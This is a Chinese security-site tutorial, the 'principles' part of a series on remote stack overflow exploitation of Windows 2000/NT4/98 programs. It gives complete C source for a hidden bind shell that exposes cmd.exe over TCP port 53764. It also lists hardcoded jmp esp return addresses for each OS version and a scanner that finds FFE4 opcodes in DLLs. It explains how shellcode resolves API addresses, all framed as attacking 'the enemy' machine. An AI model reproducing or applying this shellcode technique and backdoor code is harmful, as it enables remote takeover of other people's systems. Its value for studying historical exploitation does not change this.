通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 技术文章 >> 网络知识 >> 文章正文
Windows系统下的远程堆栈溢出 原理篇
责任编辑:酷酷の鱼   更新日期:2008-1-11
 

我们来研究windows系统下的远程溢出方法。
我们的目的是研究如何利用windows程序的溢出来进行远程攻击。
如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:
《window系统下的堆栈溢出》(IsBaseMagzine 20003)。
本文以及后续的《实战篇》都是建立在该文基础上的。
让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)
  第一篇   《原理篇》
----远程溢出算法
如何开一个远程shell呢?
思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。
我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,
然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,
把客户的输入输出和cmd.exe的输入输出联系起来,我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。
上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本
差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess
来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?
我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。
管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都
可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同
机器
上的不同进程之间进行双向通信(使用UNC命名规范)。
匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。
匿名管道其实是通过用给了一个指定名字的有名管道来实现的。
管道的最大好处在于:他可以象对普通文件一样进行操作。
他的操作标示符是HANDLE,也就是说,他可以使用readFile,
WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间
通信的具体细节。
下面就是这个算法的C实现:
/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include <winsock2.h>
#include <stdio.h>
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,
使用53764(随便,多少都行)作为这个socket连接的端口,bind他,
然后在这个端口上等待连接listen。程序阻塞在accept函数直到有
client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;

ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的
读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
这两个管道的逻辑示意图如下:
(父进程)   read<---〔管道一〕<---write 标准输出(cmd.exe子进程)
(父进程)   write--->〔管道二〕--->read   标准输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
  ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
  if(!ret) break;
  ret=send(clientFD,Buff,lBytesRead,0);
  if(ret<=0) break;
}else {
  lBytesRead=recv(clientFD,Buff,1024,0);
  if(lBytesRead<=0) break;
  ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
  if(!ret) break;
}
}
/*
这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,
看看shell是否有输出。如果有就readfile读出来,并发送给客户。如果没有,
就去接受客户的输入。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下:
输入命令(Client) <-- send(父进程)   read<--〔管道一〕<--write 标准输出
(cmd.exe子进程)
获得结果(Client) recv-->(父进程)write-->〔管道二〕-->read   标准输入
(cmd.exe子进程)
*/
return 0;
}
/***************************************************************************
*/
----shellcode疑难问题
下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,
我采用如下办法来解决:
1)跳转指令地址的问题
因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回
后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。)
所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,
使用jmp esp 就可以跳到我们的shellcode上来。
当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的。
汇编代码就是这个样子:
push eax;   
push ebx;   
push ecx;   
call SubRutine
add esp,000C
但是,如果是由子程序来负责恢复堆栈,
SubRutine:
....
:010091F3 C9               leave
:010091F4 C20C00             ret 000C
esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。
事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以
很精确的发现的,因为你可以看到他的汇编原代码呀! 
为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面
加上0c个nop.
这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。
在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为
这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的
变动而变动,为了通用性的考虑,采用KERNEL32.DLL。
那么这些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a
以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出
选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。
jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,
所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型。
以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WINNT4
#define JUMPESP "\xc3\xea\xf0\x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标程序上的jmp esp地址。"
#endif
如果你有softice,可以直接在内存里面搜ffe4。如果没有,
绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串。
我把他改了一下,可以搜索指定dll中的FFE4。算法如下:
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false; 
HINSTANCE h; 
TCHAR dllname[] = _T("User32"); 
if(argc>1)   {
  strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname); 
if(h == NULL) 

h = LoadLibrary(dllname); 
if(h == NULL) 

cout<<"ERROR LOADING DLL: "<<dllname<<endl; 
return 1; 

we_loaded_it = true; 

BYTE* ptr = (BYTE*)h; 
bool done = false; 
for(int y = 0;!done;y++) 

try 

if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) 

int pos = (int)ptr + y; 
cout<<"OPCODE found at 0x"<<hex<<pos<<endl; 


catch(...) 

cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; 
done = true; 


if(we_loaded_it) FreeLibrary(h); 
/****************************************************************************/
2)shellcode所使用函数的问题
在shellcode里面使用了很多win32函数,比如ReadFile,CreateProcess等等。
这些函数必须加载到了敌人程序的进程空间里面后我们才能使用。
我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的
所有的函数。
我们希望可以作出一个平台无关的shellcode,这就必须:
不直接使用OS版本相关的函数入口地址。
这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的。
唯一的办法就是对使用的每一个win32函数,都使用LoadLibrary加载dll,
用GetProcAddress函数来获得函数地址。这需要我们的shellcode里面有一个函数名表
保存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数
一一获得这些函数的地址。
但是又有一个问题,就是LoadLibrary和GetProcAddress本身的地址怎么获得呢?
我们想一想,这两个函数的作用?"取得所有其他函数的地址。"
没错,他们太重要了,每一个win32程序都要使用它们!那么,我们的目标程序呢?
肯定也会有它们的。所以,在写exploit的时候,这两个函数的地址都是确定的。
如何找到这两个函数在目标程序里面的加载地址呢?它们会不会是根据敌人操作系统
的不同而变化的呢?不是。这些动态加载的函数都是在目标程序里面设置了一个入口表。
由目标程序自己去加载,但是他的入口表地址是固定的。
你可以使用wdasm32来搜索LoadLibrary和GetProcAddress,
可以看到它们对应的入口表地址AAAA。在shellcode里面,
可以直接用call [AAAA]来引用它们。

[1] [2] 下一页

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题